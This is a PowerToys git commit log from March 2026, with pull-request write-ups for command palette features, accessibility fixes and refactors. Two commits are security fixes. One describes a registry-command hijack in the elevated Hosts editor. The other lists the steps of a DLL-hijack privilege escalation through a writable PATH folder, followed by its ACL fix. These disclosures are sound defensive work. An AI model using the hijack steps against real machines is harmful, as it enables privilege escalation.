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Author SHA1 Message Date
copilot-swe-agent[bot]
018f9417a1 feat(cmdpal): Implement CommandResult.GoToPage()
Add handling for CommandResultKind.GoToPage in the shell, allowing
extensions to navigate to a specific top-level page after a command
completes, with Push, GoBack, or GoHome navigation modes.

Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Agent-Logs-Url: https://github.com/microsoft/PowerToys/sessions/dfde3ba3-e879-4fd7-ad6d-667e5ba79632
2026-03-24 12:14:45 +00:00
copilot-swe-agent[bot]
658ddead43 Initial plan 2026-03-24 11:57:01 +00:00
moooyo
7051b8939b [Skills] Add WPF to WinUI 3 migration agent skill (#46462)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
With this skills, we can easily enable AI to complete most of the tasks
involved in migrating from WPF to WinUI3.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46464
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-24 09:40:33 +00:00
moooyo
0d41d45a64 [Settings] Decouple Settings.UI.Library from PowerDisplay.Lib to fix … (#46325)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes PowerToys Run crash (`FileNotFoundException` for
`PowerDisplay.Lib.dll`) caused by `Settings.UI.Library` having a
transitive dependency on `PowerDisplay.Lib`.

`SettingsSerializationContext` registered PowerDisplay profile types
(`PowerDisplayProfile`, `PowerDisplayProfiles`, `ProfileMonitorSetting`)
via `[JsonSerializable]` attributes, which forced the CLR to load
`PowerDisplay.Lib.dll` at startup. PowerToys Run depends on
`Settings.UI.Library` but does not ship `PowerDisplay.Lib.dll`, causing
the crash.



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46261
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-24 07:06:07 +00:00
Michael Jolley
86115a54f6 CmdPal: Extract persistence services from SettingsModel and AppStateModel (#46312)
## Summary of the Pull Request

Extracts persistence (load/save) logic from `SettingsModel` and
`AppStateModel` into dedicated service classes, following the
single-responsibility principle. Consumers now interact with
`ISettingsService` and `IAppStateService` instead of receiving raw model
objects through DI.

**New services introduced:**
- `IPersistenceService` / `PersistenceService` — generic `Load<T>` /
`Save<T>` with AOT-compatible `JsonTypeInfo<T>`, ensures target
directory exists before writing
- `ISettingsService` / `SettingsService` — loads settings on
construction, runs migrations, exposes `Settings` property and
`SettingsChanged` event
- `IAppStateService` / `AppStateService` — loads state on construction,
exposes `State` property and `StateChanged` event

**Key changes:**
- `SettingsModel` and `AppStateModel` are now pure data models — all
file I/O, migration, and directory management removed
- Raw `SettingsModel` and `AppStateModel` removed from DI container;
consumers receive the appropriate service
- `IApplicationInfoService.ConfigDirectory` injected into services for
config path resolution (no more hardcoded `Utilities.BaseSettingsPath`)
- ~30 consumer files updated across `Microsoft.CmdPal.UI.ViewModels` and
`Microsoft.CmdPal.UI` projects
- All `#pragma warning disable SA1300` suppressions removed —
convenience accessors replaced with direct `_settingsService.Settings` /
`_appStateService.State` access
- Namespace prefixes (`Services.ISettingsService`) replaced with proper
`using` directives

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already.
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** N/A — no end-user-facing strings changed
- [ ] **Dev docs:** N/A — internal refactor, no public API changes
- [ ] **New binaries:** N/A — no new binaries introduced

## Detailed Description of the Pull Request / Additional comments

### Architecture

Services are registered as singletons in `App.xaml.cs`:
```csharp
services.AddSingleton<IPersistenceService, PersistenceService>();
services.AddSingleton<ISettingsService, SettingsService>();
services.AddSingleton<IAppStateService, AppStateService>();
```

`PersistenceService.Save<T>` writes the serialized model directly to
disk, creating the target directory if it doesn't exist. It also does
not attempt to merge existing and new settings/state. `SettingsService`
runs hotkey migrations on load and raises `SettingsChanged` after saves.
`AppStateService` always raises `StateChanged` after saves.

### Files changed (41 files, +1169/−660)

| Area | Files | What changed |
|------|-------|-------------|
| New services | `Services/IPersistenceService.cs`,
`PersistenceService.cs`, `ISettingsService.cs`, `SettingsService.cs`,
`IAppStateService.cs`, `AppStateService.cs` | New service interfaces and
implementations |
| Models | `SettingsModel.cs`, `AppStateModel.cs` | Stripped to pure
data bags |
| DI | `App.xaml.cs` | Service registration, removed raw model DI |
| ViewModels | 12 files | Constructor injection of services |
| UI | 10 files | Service injection replacing model access |
| Settings | `DockSettings.cs` | `Colors.Transparent` replaced with
struct literal to avoid WinUI3 COM dependency |
| Tests | `PersistenceServiceTests.cs`, `SettingsServiceTests.cs`,
`AppStateServiceTests.cs` | 38 unit tests covering all three services |
| Config | `.gitignore` | Added `.squad/`, `.github/agents/` exclusions
|

## Validation Steps Performed

- Built `Microsoft.CmdPal.UI` with MSBuild (x64/Debug) — exit code 0,
clean build
- Ran 38 unit tests via `vstest.console.exe` — all passing
- Verified no remaining `#pragma warning disable SA1300` blocks
- Verified no remaining `Services.` namespace prefixes

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-20 18:58:27 -05:00
Kai Tao
99706d4324 PowerToys Extension: Fancyzone layout command should be able to be pinned into dock (#46198)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Currently, the layout do not have id, they can't be pinned into dock
<img width="1182" height="711" alt="image"
src="https://github.com/user-attachments/assets/67461267-4bed-4c07-99ff-7311c368ad09"
/>

This pr address this and they can be pinned into dock

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed


https://github.com/user-attachments/assets/8e7c8b04-663d-4cd3-b26f-d74e46511feb

---------

Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
2026-03-19 13:31:10 +08:00
Jessica Dene Earley-Cha
ff194c0b5f [Cmdpal] Screen reader announces "Enter Alias" instead of "Alias" in ExtensionPage (#45906)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a screen reader accessibility issue where the Alias TextBox in the
ExtensionPage settings was announcing "Enter Alias" as its accessible
name instead of just "Alias", making it confusing for users relying on
assistive technology.

This is part of the a11y bug batch.
User Impact:
Duplicate announcements can confuse users, increase cognitive load, and
slow down interaction for users relying on assistive technologies.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/3a676226-0b07-4e60-b2d8-99ae46ff5b64
2026-03-18 11:23:32 -07:00
Jessica Dene Earley-Cha
a151d6c8b6 [cmdpal] Announce Shortcut key information (#46164)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add audio text about shortcut key for settings on the settings button

This is part of the a11y bug batch.
User Impact:
Users relying on assistive technologies may be unaware of shortcut keys,
reducing efficiency and making it harder to use the Command Palette
effectively.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/5a5f16dc-52f7-4e9d-85db-173eddba5d6d

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-18 11:22:49 -07:00
Niels Laute
7610b77109 [Run] Remove unused namespaces (#46221)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Related: #46220

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-18 19:16:56 +01:00
moooyo
549b32e273 [Security][Hosts] Remove open method lookup and hardcode the notepad to open host editor (#46194)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
**This is a security issue fix**

In Hosts Editor module, we support to open the hosts file through user's
default editor.
The way to find the editor is that we will read a registry key and use
the value as a parameter to call Process.Start.

In most case, it works well. But Hosts editor module will launch as
admin permission. But the registry value can be modified in user 's
permission (without UAC request).

So, the malware may change the registry value and if user click the open
button. May call the dangerous command which written in registry.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46195
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
2026-03-18 13:35:45 +08:00
Niels Laute
0ccf5986e9 0.98 release update for ReadMe (#46180)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
2026-03-17 12:35:31 -05:00
Kai Tao
87b24afa23 Security: Fix Local privilege escalation via DLL hijack (#46145)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Attack vector:
1. user install per machine installer
2. Open an elevated command prompt and verify the newly added PowerToys
PATH entry
3. Inspect the ACL on the DSCModules directory an observe that the
"Authenticated Users" group have inherited Modify permissions
4. Log in as a low-privileged (non-admin) user and confirm that you can
create or modify files in C:\\PowerToys\\DSCModules\. This confirms that
a non-admin user can plant arbitrary DLLs in a system PATH directory.
5. The attacker identifies a DLL that a privileged process (e.g., a
system service or an application running as a different,
higher-privileged user) attempts to load via the standard DLL search
order. The attacker crafts a malicious DLL with the same name and places
it in C:\\PowerToys\\DSCModules.

The fix is to:
* Hardening the PowerToys DSC directory for per-machine custom installs
with correct ACL enforced with wix.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="836" height="449" alt="image"
src="https://github.com/user-attachments/assets/f21a814c-6514-4a86-b214-0984653aaab4"
/>


After upgrade, the ACL:

Path : Microsoft.PowerShell.Core\FileSystem::C:\apps\Power
Toys\DSCModules
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
Audit  :
Sddl :
O:SYG:SYD:P(A;OICIIO;GA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;0x1200a9;;;BU)

---------

Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
2026-03-17 11:27:57 +08:00
Niels Laute
74c53c14e6 KBM Icon fix (#46157)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
Co-authored-by: Dustin L. Howett <dustin@howett.net>
2026-03-16 21:29:29 -04:00
Michael Jolley
77173cd075 CmdPal: Stop dock window resizes from saving for normal window opens (#46118)
Currently, if you resize a window opened from the dock (i.e. performance
monitor commands) then exit CmdPal, the resized "size" persists on
normal hotkey opens. This change tells CmdPal to revert the size when
opened and only save the size on normal window close.

Fixes #45591

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-16 19:47:54 +01:00
Niels Laute
149e7b1efe Update LightSwitchPage (#46160)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-16 18:20:50 +00:00
Kai Tao
0c2d24c3f6 PowerToys Extension: Use project build because we don't need packagereference (#46080)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
At first version, tried to use the project reference instead of package
reference, while it did not work in my local environment, so used
package reference instead.

While planned to project reference for many reasons like first day
problem explosure in sdk, maintain the strict consistent winmd with the
extension host.

Hopefully to solve some of the extension not starting problem.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Built an installer and validated in my arm64 and x64 machine, works
perfectly
2026-03-16 10:58:21 +08:00
Michael Jolley
b81ea23c68 CmdPal: Adding a lock around perf monitor updates (#46061)
Based on reported bug in Teams.

Added lock around OnLoadBasePage._loadCount and modified
PerformanceWidgetPage to use Interlocked.Increment/Decrement on
_loadCount.

---------

Co-authored-by: leileizhang <leilzh@microsoft.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: moooyo <42196638+moooyo@users.noreply.github.com>
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Kai Tao <69313318+vanzue@users.noreply.github.com>
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
Co-authored-by: Shawn Yuan <128874481+shuaiyuanxx@users.noreply.github.com>
Co-authored-by: Gordon Lam <73506701+yeelam-gordon@users.noreply.github.com>
Co-authored-by: Heiko <61519853+htcfreek@users.noreply.github.com>
Co-authored-by: Mike Hall <mikehall@microsoft.com>
Co-authored-by: vanzue <vanzue@outlook.com>
Co-authored-by: Jaylyn Barbee <51131738+Jaylyn-Barbee@users.noreply.github.com>
Co-authored-by: Thanh Nguyen <74597207+ThanhNguyxn@users.noreply.github.com>
Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
2026-03-11 17:06:44 -04:00
Jaylyn Barbee
39bbf0593e [KBM] Fixing text replacement bug (#46069)
There is a bug now where text replacement is causing the app to crash.
Wrapping those blocks in try catch so the worker stays alive.
2026-03-11 14:02:46 -04:00
Dave Rayment
4620f6f381 [Docs] Update PowerToys download links to version 0.97.2 (#46058)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Update 0.97.1 download links to 0.97.2 in the main README.md.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46057
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

